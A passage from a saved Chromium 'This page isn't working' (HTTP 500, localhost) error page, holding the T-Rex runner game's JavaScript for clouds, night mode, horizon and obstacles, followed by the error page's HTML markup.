    this.canvasCtx.fillStyle = '#fff';
    this.canvasCtx.rect(this.highScoreBounds.x, this.highScoreBounds.y,
        this.highScoreBounds.width, this.highScoreBounds.height);
    this.canvasCtx.fill();
    this.canvasCtx.restore();
  },

  /**
   * Starts the flashing of the high score.
   */
  startHighScoreFlashing() {
    this.highScoreFlashing = true;
    this.flashHighScore();
  },

  /**
   * Whether high score is flashing.
   * @return {boolean}
   */
  isHighScoreFlashing() {
    return this.highScoreFlashing;
  },

  /**
   * Stop flashing the high score.
   */
  cancelHighScoreFlashing() {
    if (this.flashingRafId) {
      cancelAnimationFrame(this.flashingRafId);
    }
    this.flashIterations = 0;
    this.flashTimer = 0;
    this.highScoreFlashing = false;
    this.clearHighScoreBounds();
    this.drawHighScore();
  },

  /**
   * Clear the high score.
   */
  resetHighScore() {
    this.setHighScore(0);
    this.cancelHighScoreFlashing();
  },

  /**
   * Reset the distance meter back to '00000'.
   */
  reset() {
    this.update(0, 0);
    this.achievement = false;
  },
};


//******************************************************************************

/**
 * Cloud background item.
 * Similar to an obstacle object but without collision boxes.
 * @param {HTMLCanvasElement} canvas Canvas element.
 * @param {Object} spritePos Position of image in sprite.
 * @param {number} containerWidth
 * @constructor
 */
function Cloud(canvas, spritePos, containerWidth) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.containerWidth = containerWidth;
  this.xPos = containerWidth;
  this.yPos = 0;
  this.remove = false;
  this.gap =
      getRandomNum(Cloud.config.MIN_CLOUD_GAP, Cloud.config.MAX_CLOUD_GAP);

  this.init();
}


/**
 * Cloud object config.
 * @enum {number}
 */
Cloud.config = {
  HEIGHT: 14,
  MAX_CLOUD_GAP: 400,
  MAX_SKY_LEVEL: 30,
  MIN_CLOUD_GAP: 100,
  MIN_SKY_LEVEL: 71,
  WIDTH: 46,
};


Cloud.prototype = {
  /**
   * Initialise the cloud. Sets the Cloud height.
   */
  init() {
    this.yPos = getRandomNum(Cloud.config.MAX_SKY_LEVEL,
        Cloud.config.MIN_SKY_LEVEL);
    this.draw();
  },

  /**
   * Draw the cloud.
   */
  draw() {
    this.canvasCtx.save();
    let sourceWidth = Cloud.config.WIDTH;
    let sourceHeight = Cloud.config.HEIGHT;
    const outputWidth = sourceWidth;
    const outputHeight = sourceHeight;
    if (IS_HIDPI) {
      sourceWidth = sourceWidth * 2;
      sourceHeight = sourceHeight * 2;
    }

    this.canvasCtx.drawImage(Runner.imageSprite, this.spritePos.x,
        this.spritePos.y,
        sourceWidth, sourceHeight,
        this.xPos, this.yPos,
        outputWidth, outputHeight);

    this.canvasCtx.restore();
  },

  /**
   * Update the cloud position.
   * @param {number} speed
   */
  update(speed) {
    if (!this.remove) {
      this.xPos -= Math.ceil(speed);
      this.draw();

      // Mark as removeable if no longer in the canvas.
      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Check if the cloud is visible on the stage.
   * @return {boolean}
   */
  isVisible() {
    return this.xPos + Cloud.config.WIDTH > 0;
  },
};


/**
 * Background item.
 * Similar to cloud, without random y position.
 * @param {HTMLCanvasElement} canvas Canvas element.
 * @param {Object} spritePos Position of image in sprite.
 * @param {number} containerWidth
 * @param {string} type Element type.
 * @constructor
 */
function BackgroundEl(canvas, spritePos, containerWidth, type) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.containerWidth = containerWidth;
  this.xPos = containerWidth;
  this.yPos = 0;
  this.remove = false;
  this.type = type;
  this.gap =
      getRandomNum(BackgroundEl.config.MIN_GAP, BackgroundEl.config.MAX_GAP);
  this.animTimer = 0;
  this.switchFrames = false;

  this.spriteConfig = {};
  this.init();
}

/**
 * Background element object config.
 * Real values assigned when game type changes.
 * @enum {number}
 */
BackgroundEl.config = {
  MAX_BG_ELS: 0,
  MAX_GAP: 0,
  MIN_GAP: 0,
  POS: 0,
  SPEED: 0,
  Y_POS: 0,
  MS_PER_FRAME: 0,  // only needed when BACKGROUND_EL.FIXED is true
};


BackgroundEl.prototype = {
  /**
   * Initialise the element setting the y position.
   */
  init() {
    this.spriteConfig = Runner.spriteDefinition.BACKGROUND_EL[this.type];
    if (this.spriteConfig.FIXED) {
      this.xPos = this.spriteConfig.FIXED_X_POS;
    }
    this.yPos = BackgroundEl.config.Y_POS - this.spriteConfig.HEIGHT +
        this.spriteConfig.OFFSET;
    this.draw();
  },

  /**
   * Draw the element.
   */
  draw() {
    this.canvasCtx.save();
    let sourceWidth = this.spriteConfig.WIDTH;
    let sourceHeight = this.spriteConfig.HEIGHT;
    let sourceX = this.spriteConfig.X_POS;
    const outputWidth = sourceWidth;
    const outputHeight = sourceHeight;

    if (IS_HIDPI) {
      sourceWidth *= 2;
      sourceHeight *= 2;
      sourceX *= 2;
    }

    this.canvasCtx.drawImage(
        Runner.imageSprite, sourceX, this.spritePos.y, sourceWidth,
        sourceHeight, this.xPos, this.yPos, outputWidth, outputHeight);

    this.canvasCtx.restore();
  },

  /**
   * Update the background element position.
   * @param {number} speed
   */
  update(speed) {
    if (!this.remove) {
      if (this.spriteConfig.FIXED) {
        this.animTimer += speed;
        if (this.animTimer > BackgroundEl.config.MS_PER_FRAME) {
          this.animTimer = 0;
          this.switchFrames = !this.switchFrames;
        }

        if (this.spriteConfig.FIXED_Y_POS_1 &&
            this.spriteConfig.FIXED_Y_POS_2) {
          this.yPos = this.switchFrames ? this.spriteConfig.FIXED_Y_POS_1 :
                                          this.spriteConfig.FIXED_Y_POS_2;
        }
      } else {
        // Fixed speed, regardless of actual game speed.
        this.xPos -= BackgroundEl.config.SPEED;
      }
      this.draw();

      // Mark as removable if no longer in the canvas.
      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Check if the element is visible on the stage.
   * @return {boolean}
   */
  isVisible() {
    return this.xPos + this.spriteConfig.WIDTH > 0;
  },
};



//******************************************************************************

/**
 * Nightmode shows a moon and stars on the horizon.
 * @param {HTMLCanvasElement} canvas
 * @param {number} spritePos
 * @param {number} containerWidth
 * @constructor
 */
function NightMode(canvas, spritePos, containerWidth) {
  this.spritePos = spritePos;
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.xPos = containerWidth - 50;
  this.yPos = 30;
  this.currentPhase = 0;
  this.opacity = 0;
  this.containerWidth = containerWidth;
  this.stars = [];
  this.drawStars = false;
  this.placeStars();
}

/**
 * @enum {number}
 */
NightMode.config = {
  FADE_SPEED: 0.035,
  HEIGHT: 40,
  MOON_SPEED: 0.25,
  NUM_STARS: 2,
  STAR_SIZE: 9,
  STAR_SPEED: 0.3,
  STAR_MAX_Y: 70,
  WIDTH: 20,
};

NightMode.phases = [140, 120, 100, 60, 40, 20, 0];

NightMode.prototype = {
  /**
   * Update moving moon, changing phases.
   * @param {boolean} activated Whether night mode is activated.
   */
  update(activated) {
    // Moon phase.
    if (activated && this.opacity === 0) {
      this.currentPhase++;

      if (this.currentPhase >= NightMode.phases.length) {
        this.currentPhase = 0;
      }
    }

    // Fade in / out.
    if (activated && (this.opacity < 1 || this.opacity === 0)) {
      this.opacity += NightMode.config.FADE_SPEED;
    } else if (this.opacity > 0) {
      this.opacity -= NightMode.config.FADE_SPEED;
    }

    // Set moon positioning.
    if (this.opacity > 0) {
      this.xPos = this.updateXPos(this.xPos, NightMode.config.MOON_SPEED);

      // Update stars.
      if (this.drawStars) {
        for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
          this.stars[i].x =
              this.updateXPos(this.stars[i].x, NightMode.config.STAR_SPEED);
        }
      }
      this.draw();
    } else {
      this.opacity = 0;
      this.placeStars();
    }
    this.drawStars = true;
  },

  updateXPos(currentPos, speed) {
    if (currentPos < -NightMode.config.WIDTH) {
      currentPos = this.containerWidth;
    } else {
      currentPos -= speed;
    }
    return currentPos;
  },

  draw() {
    let moonSourceWidth = this.currentPhase === 3 ? NightMode.config.WIDTH * 2 :
                                                    NightMode.config.WIDTH;
    let moonSourceHeight = NightMode.config.HEIGHT;
    let moonSourceX = this.spritePos.x + NightMode.phases[this.currentPhase];
    const moonOutputWidth = moonSourceWidth;
    let starSize = NightMode.config.STAR_SIZE;
    let starSourceX = Runner.spriteDefinitionByType.original.LDPI.STAR.x;

    if (IS_HIDPI) {
      moonSourceWidth *= 2;
      moonSourceHeight *= 2;
      moonSourceX = this.spritePos.x +
          (NightMode.phases[this.currentPhase] * 2);
      starSize *= 2;
      starSourceX = Runner.spriteDefinitionByType.original.HDPI.STAR.x;
    }

    this.canvasCtx.save();
    this.canvasCtx.globalAlpha = this.opacity;

    // Stars.
    if (this.drawStars) {
      for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
        this.canvasCtx.drawImage(
            Runner.origImageSprite, starSourceX, this.stars[i].sourceY,
            starSize, starSize, Math.round(this.stars[i].x), this.stars[i].y,
            NightMode.config.STAR_SIZE, NightMode.config.STAR_SIZE);
      }
    }

    // Moon.
    this.canvasCtx.drawImage(
        Runner.origImageSprite, moonSourceX, this.spritePos.y, moonSourceWidth,
        moonSourceHeight, Math.round(this.xPos), this.yPos, moonOutputWidth,
        NightMode.config.HEIGHT);

    this.canvasCtx.globalAlpha = 1;
    this.canvasCtx.restore();
  },

  // Do star placement.
  placeStars() {
    const segmentSize = Math.round(this.containerWidth /
        NightMode.config.NUM_STARS);

    for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
      this.stars[i] = {};
      this.stars[i].x = getRandomNum(segmentSize * i, segmentSize * (i + 1));
      this.stars[i].y = getRandomNum(0, NightMode.config.STAR_MAX_Y);

      if (IS_HIDPI) {
        this.stars[i].sourceY =
            Runner.spriteDefinitionByType.original.HDPI.STAR.y +
            NightMode.config.STAR_SIZE * 2 * i;
      } else {
        this.stars[i].sourceY =
            Runner.spriteDefinitionByType.original.LDPI.STAR.y +
            NightMode.config.STAR_SIZE * i;
      }
    }
  },

  reset() {
    this.currentPhase = 0;
    this.opacity = 0;
    this.update(false);
  },

};


//******************************************************************************

/**
 * Horizon Line.
 * Consists of two connecting lines. Randomly assigns a flat / bumpy horizon.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} lineConfig Configuration object.
 * @constructor
 */
function HorizonLine(canvas, lineConfig) {
  let sourceX = lineConfig.SOURCE_X;
  let sourceY = lineConfig.SOURCE_Y;

  if (IS_HIDPI) {
    sourceX *= 2;
    sourceY *= 2;
  }

  this.spritePos = {x: sourceX, y: sourceY};
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.sourceDimensions = {};
  this.dimensions = lineConfig;

  this.sourceXPos = [this.spritePos.x, this.spritePos.x +
      this.dimensions.WIDTH];
  this.xPos = [];
  this.yPos = 0;
  this.bumpThreshold = 0.5;

  this.setSourceDimensions(lineConfig);
  this.draw();
}


/**
 * Horizon line dimensions.
 * @enum {number}
 */
HorizonLine.dimensions = {
  WIDTH: 600,
  HEIGHT: 12,
  YPOS: 127,
};


HorizonLine.prototype = {
  /**
   * Set the source dimensions of the horizon line.
   */
  setSourceDimensions(newDimensions) {
    for (const dimension in newDimensions) {
      if (dimension !== 'SOURCE_X' && dimension !== 'SOURCE_Y') {
        if (IS_HIDPI) {
          if (dimension !== 'YPOS') {
            this.sourceDimensions[dimension] = newDimensions[dimension] * 2;
          }
        } else {
          this.sourceDimensions[dimension] = newDimensions[dimension];
        }
        this.dimensions[dimension] = newDimensions[dimension];
      }
    }

    this.xPos = [0, newDimensions.WIDTH];
    this.yPos = newDimensions.YPOS;
  },

  /**
   * Return the crop x position of a type.
   */
  getRandomType() {
    return Math.random() > this.bumpThreshold ? this.dimensions.WIDTH : 0;
  },

  /**
   * Draw the horizon line.
   */
  draw() {
    this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[0],
        this.spritePos.y,
        this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
        this.xPos[0], this.yPos,
        this.dimensions.WIDTH, this.dimensions.HEIGHT);

    this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[1],
        this.spritePos.y,
        this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
        this.xPos[1], this.yPos,
        this.dimensions.WIDTH, this.dimensions.HEIGHT);
  },

  /**
   * Update the x position of an indivdual piece of the line.
   * @param {number} pos Line position.
   * @param {number} increment
   */
  updateXPos(pos, increment) {
    const line1 = pos;
    const line2 = pos === 0 ? 1 : 0;

    this.xPos[line1] -= increment;
    this.xPos[line2] = this.xPos[line1] + this.dimensions.WIDTH;

    if (this.xPos[line1] <= -this.dimensions.WIDTH) {
      this.xPos[line1] += this.dimensions.WIDTH * 2;
      this.xPos[line2] = this.xPos[line1] - this.dimensions.WIDTH;
      this.sourceXPos[line1] = this.getRandomType() + this.spritePos.x;
    }
  },

  /**
   * Update the horizon line.
   * @param {number} deltaTime
   * @param {number} speed
   */
  update(deltaTime, speed) {
    const increment = Math.floor(speed * (FPS / 1000) * deltaTime);

    if (this.xPos[0] <= 0) {
      this.updateXPos(0, increment);
    } else {
      this.updateXPos(1, increment);
    }
    this.draw();
  },

  /**
   * Reset horizon to the starting position.
   */
  reset() {
    this.xPos[0] = 0;
    this.xPos[1] = this.dimensions.WIDTH;
  },
};


//******************************************************************************

/**
 * Horizon background class.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} spritePos Sprite positioning.
 * @param {Object} dimensions Canvas dimensions.
 * @param {number} gapCoefficient
 * @constructor
 */
function Horizon(canvas, spritePos, dimensions, gapCoefficient) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.config = Horizon.config;
  this.dimensions = dimensions;
  this.gapCoefficient = gapCoefficient;
  this.obstacles = [];
  this.obstacleHistory = [];
  this.horizonOffsets = [0, 0];
  this.cloudFrequency = this.config.CLOUD_FREQUENCY;
  this.spritePos = spritePos;
  this.nightMode = null;
  this.altGameModeActive = false;

  // Cloud
  this.clouds = [];
  this.cloudSpeed = this.config.BG_CLOUD_SPEED;

  // Background elements
  this.backgroundEls = [];
  this.lastEl = null;
  this.backgroundSpeed = this.config.BG_CLOUD_SPEED;

  // Horizon
  this.horizonLine = null;
  this.horizonLines = [];
  this.init();
}


/**
 * Horizon config.
 * @enum {number}
 */
Horizon.config = {
  BG_CLOUD_SPEED: 0.2,
  BUMPY_THRESHOLD: .3,
  CLOUD_FREQUENCY: .5,
  HORIZON_HEIGHT: 16,
  MAX_CLOUDS: 6,
};


Horizon.prototype = {
  /**
   * Initialise the horizon. Just add the line and a cloud. No obstacles.
   */
  init() {
    Obstacle.types = Runner.spriteDefinitionByType.original.OBSTACLES;
    this.addCloud();
    // Multiple Horizon lines
    for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
      this.horizonLines.push(
          new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
    }

    this.nightMode = new NightMode(this.canvas, this.spritePos.MOON,
        this.dimensions.WIDTH);
  },

  /**
   * Update obstacle definitions based on the speed of the game.
   */
  adjustObstacleSpeed: function() {
    for (let i = 0; i < Obstacle.types.length; i++) {
      if (Runner.slowDown) {
        Obstacle.types[i].multipleSpeed = Obstacle.types[i].multipleSpeed / 2;
        Obstacle.types[i].minGap *= 1.5;
        Obstacle.types[i].minSpeed = Obstacle.types[i].minSpeed / 2;

        // Convert variable y position obstacles to fixed.
        if (typeof (Obstacle.types[i].yPos) == 'object') {
          Obstacle.types[i].yPos = Obstacle.types[i].yPos[0];
          Obstacle.types[i].yPosMobile = Obstacle.types[i].yPos[0];
        }
      }
    }
  },

  /**
   * Update sprites to correspond to change in sprite sheet.
   * @param {number} spritePos
   */
  enableAltGameMode: function(spritePos) {
    // Clear existing horizon objects.
    this.clouds = [];
    this.backgroundEls = [];

    this.altGameModeActive = true;
    this.spritePos = spritePos;

    Obstacle.types = Runner.spriteDefinition.OBSTACLES;
    this.adjustObstacleSpeed();

    Obstacle.MAX_GAP_COEFFICIENT = Runner.spriteDefinition.MAX_GAP_COEFFICIENT;
    Obstacle.MAX_OBSTACLE_LENGTH = Runner.spriteDefinition.MAX_OBSTACLE_LENGTH;

    BackgroundEl.config = Runner.spriteDefinition.BACKGROUND_EL_CONFIG;

    this.horizonLines = [];
    for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
      this.horizonLines.push(
          new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
    }
    this.reset();
  },

  /**
   * @param {number} deltaTime
   * @param {number} currentSpeed
   * @param {boolean} updateObstacles Used as an override to prevent
   *     the obstacles from being updated / added. This happens in the
   *     ease in section.
   * @param {boolean} showNightMode Night mode activated.
   */
  update(deltaTime, currentSpeed, updateObstacles, showNightMode) {
    this.runningTime += deltaTime;

    if (this.altGameModeActive) {
      this.updateBackgroundEls(deltaTime, currentSpeed);
    }

    for (let i = 0; i < this.horizonLines.length; i++) {
      this.horizonLines[i].update(deltaTime, currentSpeed);
    }

    if (!this.altGameModeActive || Runner.spriteDefinition.HAS_CLOUDS) {
      this.nightMode.update(showNightMode);
      this.updateClouds(deltaTime, currentSpeed);
    }

    if (updateObstacles) {
      this.updateObstacles(deltaTime, currentSpeed);
    }
  },

  /**
   * Update background element positions. Also handles creating new elements.
   * @param {number} elSpeed
   * @param {Array<Object>} bgElArray
   * @param {number} maxBgEl
   * @param {Function} bgElAddFunction
   * @param {number} frequency
   */
  updateBackgroundEl(elSpeed, bgElArray, maxBgEl, bgElAddFunction, frequency) {
    const numElements = bgElArray.length;

    if (numElements) {
      for (let i = numElements - 1; i >= 0; i--) {
        bgElArray[i].update(elSpeed);
      }

      const lastEl = bgElArray[numElements - 1];

      // Check for adding a new element.
      if (numElements < maxBgEl &&
          (this.dimensions.WIDTH - lastEl.xPos) > lastEl.gap &&
          frequency > Math.random()) {
        bgElAddFunction();
      }
    } else {
      bgElAddFunction();
    }
  },

  /**
   * Update the cloud positions.
   * @param {number} deltaTime
   * @param {number} speed
   */
  updateClouds(deltaTime, speed) {
    const elSpeed = this.cloudSpeed / 1000 * deltaTime * speed;
    this.updateBackgroundEl(
        elSpeed, this.clouds, this.config.MAX_CLOUDS, this.addCloud.bind(this),
        this.cloudFrequency);

    // Remove expired elements.
    this.clouds = this.clouds.filter((obj) => !obj.remove);
  },

  /**
   * Update the background element positions.
   * @param {number} deltaTime
   * @param {number} speed
   */
  updateBackgroundEls(deltaTime, speed) {
    this.updateBackgroundEl(
        deltaTime, this.backgroundEls, BackgroundEl.config.MAX_BG_ELS,
        this.addBackgroundEl.bind(this), this.cloudFrequency);

    // Remove expired elements.
    this.backgroundEls = this.backgroundEls.filter((obj) => !obj.remove);
  },

  /**
   * Update the obstacle positions.
   * @param {number} deltaTime
   * @param {number} currentSpeed
   */
  updateObstacles(deltaTime, currentSpeed) {
    const updatedObstacles = this.obstacles.slice(0);

    for (let i = 0; i < this.obstacles.length; i++) {
      const obstacle = this.obstacles[i];
      obstacle.update(deltaTime, currentSpeed);

      // Clean up existing obstacles.
      if (obstacle.remove) {
        updatedObstacles.shift();
      }
    }
    this.obstacles = updatedObstacles;

    if (this.obstacles.length > 0) {
      const lastObstacle = this.obstacles[this.obstacles.length - 1];

      if (lastObstacle && !lastObstacle.followingObstacleCreated &&
          lastObstacle.isVisible() &&
          (lastObstacle.xPos + lastObstacle.width + lastObstacle.gap) <
          this.dimensions.WIDTH) {
        this.addNewObstacle(currentSpeed);
        lastObstacle.followingObstacleCreated = true;
      }
    } else {
      // Create new obstacles.
      this.addNewObstacle(currentSpeed);
    }
  },

  removeFirstObstacle() {
    this.obstacles.shift();
  },

  /**
   * Add a new obstacle.
   * @param {number} currentSpeed
   */
  addNewObstacle(currentSpeed) {
    const obstacleCount =
        Obstacle.types[Obstacle.types.length - 1].type != 'COLLECTABLE' ||
            (Runner.isAltGameModeEnabled() && !this.altGameModeActive ||
             this.altGameModeActive) ?
        Obstacle.types.length - 1 :
        Obstacle.types.length - 2;
    const obstacleTypeIndex =
        obstacleCount > 0 ? getRandomNum(0, obstacleCount) : 0;
    const obstacleType = Obstacle.types[obstacleTypeIndex];

    // Check for multiples of the same type of obstacle.
    // Also check obstacle is available at current speed.
    if ((obstacleCount > 0 && this.duplicateObstacleCheck(obstacleType.type)) ||
        currentSpeed < obstacleType.minSpeed) {
      this.addNewObstacle(currentSpeed);
    } else {
      const obstacleSpritePos = this.spritePos[obstacleType.type];

      this.obstacles.push(new Obstacle(
          this.canvasCtx, obstacleType, obstacleSpritePos, this.dimensions,
          this.gapCoefficient, currentSpeed, obstacleType.width,
          this.altGameModeActive));

      this.obstacleHistory.unshift(obstacleType.type);

      if (this.obstacleHistory.length > 1) {
        this.obstacleHistory.splice(Runner.config.MAX_OBSTACLE_DUPLICATION);
      }
    }
  },

  /**
   * Returns whether the previous two obstacles are the same as the next one.
   * Maximum duplication is set in config value MAX_OBSTACLE_DUPLICATION.
   * @return {boolean}
   */
  duplicateObstacleCheck(nextObstacleType) {
    let duplicateCount = 0;

    for (let i = 0; i < this.obstacleHistory.length; i++) {
      duplicateCount =
          this.obstacleHistory[i] === nextObstacleType ? duplicateCount + 1 : 0;
    }
    return duplicateCount >= Runner.config.MAX_OBSTACLE_DUPLICATION;
  },

  /**
   * Reset the horizon layer.
   * Remove existing obstacles and reposition the horizon line.
   */
  reset() {
    this.obstacles = [];
    for (let l = 0; l < this.horizonLines.length; l++) {
      this.horizonLines[l].reset();
    }

    this.nightMode.reset();
  },

  /**
   * Update the canvas width and scaling.
   * @param {number} width Canvas width.
   * @param {number} height Canvas height.
   */
  resize(width, height) {
    this.canvas.width = width;
    this.canvas.height = height;
  },

  /**
   * Add a new cloud to the horizon.
   */
  addCloud() {
    this.clouds.push(new Cloud(this.canvas, this.spritePos.CLOUD,
        this.dimensions.WIDTH));
  },

  /**
   * Add a random background element to the horizon.
   */
  addBackgroundEl() {
    const backgroundElTypes =
        Object.keys(Runner.spriteDefinition.BACKGROUND_EL);

    if (backgroundElTypes.length > 0) {
      let index = getRandomNum(0, backgroundElTypes.length - 1);
      let type = backgroundElTypes[index];

      // Add variation if available.
      while (type == this.lastEl && backgroundElTypes.length > 1) {
        index = getRandomNum(0, backgroundElTypes.length - 1);
        type = backgroundElTypes[index];
      }

      this.lastEl = type;
      this.backgroundEls.push(new BackgroundEl(
          this.canvas, this.spritePos.BACKGROUND_EL, this.dimensions.WIDTH,
          type));
    }
  },
};
</script>
  <script>// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/* @const
 * Add matching sprite definition and config to Runner.spriteDefinitionByType.
 */
const GAME_TYPE = [];

/**
 * Obstacle definitions.
 * minGap: minimum pixel space between obstacles.
 * multipleSpeed: Speed at which multiples are allowed.
 * speedOffset: speed faster / slower than the horizon.
 * minSpeed: Minimum speed which the obstacle can make an appearance.
 *
 * @typedef {{
 *   type: string,
 *   width: number,
 *   height: number,
 *   yPos: number,
 *   multipleSpeed: number,
 *   minGap: number,
 *   minSpeed: number,
 *   collisionBoxes: Array<CollisionBox>,
 * }}
 */
let ObstacleType;

/**
 * T-Rex runner sprite definitions.
 */
Runner.spriteDefinitionByType = {
  original: {
    LDPI: {
      BACKGROUND_EL: {x: 86, y: 2},
      CACTUS_LARGE: {x: 332, y: 2},
      CACTUS_SMALL: {x: 228, y: 2},
      OBSTACLE_2: {x: 332, y: 2},
      OBSTACLE: {x: 228, y: 2},
      CLOUD: {x: 86, y: 2},
      HORIZON: {x: 2, y: 54},
      MOON: {x: 484, y: 2},
      PTERODACTYL: {x: 134, y: 2},
      RESTART: {x: 2, y: 68},
      TEXT_SPRITE: {x: 655, y: 2},
      TREX: {x: 848, y: 2},
      STAR: {x: 645, y: 2},
      COLLECTABLE: {x: 2, y: 2},
      ALT_GAME_END: {x: 121, y: 2},
    },
    HDPI: {
      BACKGROUND_EL: {x: 166, y: 2},
      CACTUS_LARGE: {x: 652, y: 2},
      CACTUS_SMALL: {x: 446, y: 2},
      OBSTACLE_2: {x: 652, y: 2},
      OBSTACLE: {x: 446, y: 2},
      CLOUD: {x: 166, y: 2},
      HORIZON: {x: 2, y: 104},
      MOON: {x: 954, y: 2},
      PTERODACTYL: {x: 260, y: 2},
      RESTART: {x: 2, y: 130},
      TEXT_SPRITE: {x: 1294, y: 2},
      TREX: {x: 1678, y: 2},
      STAR: {x: 1276, y: 2},
      COLLECTABLE: {x: 4, y: 4},
      ALT_GAME_END: {x: 242, y: 4},
    },
    MAX_GAP_COEFFICIENT: 1.5,
    MAX_OBSTACLE_LENGTH: 3,
    HAS_CLOUDS: 1,
    BOTTOM_PAD: 10,
    TREX: {
      WAITING_1: {x: 44, w: 44, h: 47, xOffset: 0},
      WAITING_2: {x: 0, w: 44, h: 47, xOffset: 0},
      RUNNING_1: {x: 88, w: 44, h: 47, xOffset: 0},
      RUNNING_2: {x: 132, w: 44, h: 47, xOffset: 0},
      JUMPING: {x: 0, w: 44, h: 47, xOffset: 0},
      CRASHED: {x: 220, w: 44, h: 47, xOffset: 0},
      COLLISION_BOXES: [
        new CollisionBox(22, 0, 17, 16),
        new CollisionBox(1, 18, 30, 9),
        new CollisionBox(10, 35, 14, 8),
        new CollisionBox(1, 24, 29, 5),
        new CollisionBox(5, 30, 21, 4),
        new CollisionBox(9, 34, 15, 4),
      ],
    },
    /** @type {Array<ObstacleType>} */
    OBSTACLES: [
      {
        type: 'CACTUS_SMALL',
        width: 17,
        height: 35,
        yPos: 105,
        multipleSpeed: 4,
        minGap: 120,
        minSpeed: 0,
        collisionBoxes: [
          new CollisionBox(0, 7, 5, 27),
          new CollisionBox(4, 0, 6, 34),
          new CollisionBox(10, 4, 7, 14),
        ],
      },
      {
        type: 'CACTUS_LARGE',
        width: 25,
        height: 50,
        yPos: 90,
        multipleSpeed: 7,
        minGap: 120,
        minSpeed: 0,
        collisionBoxes: [
          new CollisionBox(0, 12, 7, 38),
          new CollisionBox(8, 0, 7, 49),
          new CollisionBox(13, 10, 10, 38),
        ],
      },
      {
        type: 'PTERODACTYL',
        width: 46,
        height: 40,
        yPos: [100, 75, 50],    // Variable height.
        yPosMobile: [100, 50],  // Variable height mobile.
        multipleSpeed: 999,
        minSpeed: 8.5,
        minGap: 150,
        collisionBoxes: [
          new CollisionBox(15, 15, 16, 5),
          new CollisionBox(18, 21, 24, 6),
          new CollisionBox(2, 14, 4, 3),
          new CollisionBox(6, 10, 4, 7),
          new CollisionBox(10, 8, 6, 9),
        ],
        numFrames: 2,
        frameRate: 1000 / 6,
        speedOffset: .8,
      },
    ],
    BACKGROUND_EL: {
      'CLOUD': {
        HEIGHT: 14,
        MAX_CLOUD_GAP: 400,
        MAX_SKY_LEVEL: 30,
        MIN_CLOUD_GAP: 100,
        MIN_SKY_LEVEL: 71,
        OFFSET: 4,
        WIDTH: 46,
        X_POS: 1,
        Y_POS: 120,
      },
    },
    BACKGROUND_EL_CONFIG: {
      MAX_BG_ELS: 1,
      MAX_GAP: 400,
      MIN_GAP: 100,
      POS: 0,
      SPEED: 0.5,
      Y_POS: 125,
    },
    LINES: [
      {SOURCE_X: 2, SOURCE_Y: 52, WIDTH: 600, HEIGHT: 12, YPOS: 127},
    ],
  },
};
</script>
  
</head>
<body id="t" class="neterror" style="font-family: &quot;sans&quot;, Arial, sans-serif; font-size: 75%" jstcache="0">
  <div id="main-frame-error" class="interstitial-wrapper" jstcache="0">
    <div id="main-content" jstcache="0">
      <div class="icon icon-generic" jstcache="0"></div>
      <div id="main-message" jstcache="0">
        <h1 jstcache="0">
          <span jsselect="heading" jsvalues=".innerHTML:msg" jstcache="9">This page isn’t working</span>
          <a id="error-information-button" class="hidden" onclick="toggleErrorInformationPopup();" jstcache="0"></a>
        </h1>
        <p jsselect="summary" jsvalues=".innerHTML:msg" jstcache="1"><strong jscontent="hostName" jstcache="22">localhost</strong> is currently unable to handle this request.</p>
        <!--The suggestion list and error code are normally presented inline,
          in which case error-information-popup-* divs have no effect. When
          error-information-popup-container has the use-popup-container class, this
          information is provided in a popup instead.-->
        <div id="error-information-popup-container" jstcache="0">
          <div id="error-information-popup" jstcache="0">
            <div id="error-information-popup-box" jstcache="0">
              <div id="error-information-popup-content" jstcache="0">
                <div id="suggestions-list" style="display:none" jsdisplay="(suggestionsSummaryList &amp;&amp; suggestionsSummaryList.length)" jstcache="16">
                  <p jsvalues=".innerHTML:suggestionsSummaryListHeader" jstcache="18"></p>
                  <ul jsvalues=".className:suggestionsSummaryList.length == 1 ? 'single-suggestion' : ''" jstcache="19">
                    <li jsselect="suggestionsSummaryList" jsvalues=".innerHTML:summary" jstcache="21"></li>
                  </ul>
                </div>
                <div class="error-code" jscontent="errorCode" jstcache="17">HTTP ERROR 500</div>
                <p id="error-information-popup-close" jstcache="0">
                  <a class="link-button" jscontent="closeDescriptionPopup" onclick="toggleErrorInformationPopup();" jstcache="20">null</a>
                </p>
              </div>
            </div>
          </div>
        </div>
        <div id="download-links-wrapper" class="hidden" jstcache="0">
          <div id="download-link-wrapper" jstcache="0">
            <a id="download-link" class="link-button" onclick="downloadButtonClick()" jsselect="downloadButton" jscontent="msg" jsvalues=".disabledText:disabledMsg" jstcache="6" style="display: none;">
            </a>
          </div>
          <div id="download-link-clicked-wrapper" class="hidden" jstcache="0">
            <div id="download-link-clicked" class="link-button" jsselect="downloadButton" jscontent="disabledMsg" jstcache="11" style="display: none;">
            </div>
          </div>
        </div>
        <div id="save-page-for-later-button" class="hidden" jstcache="0">
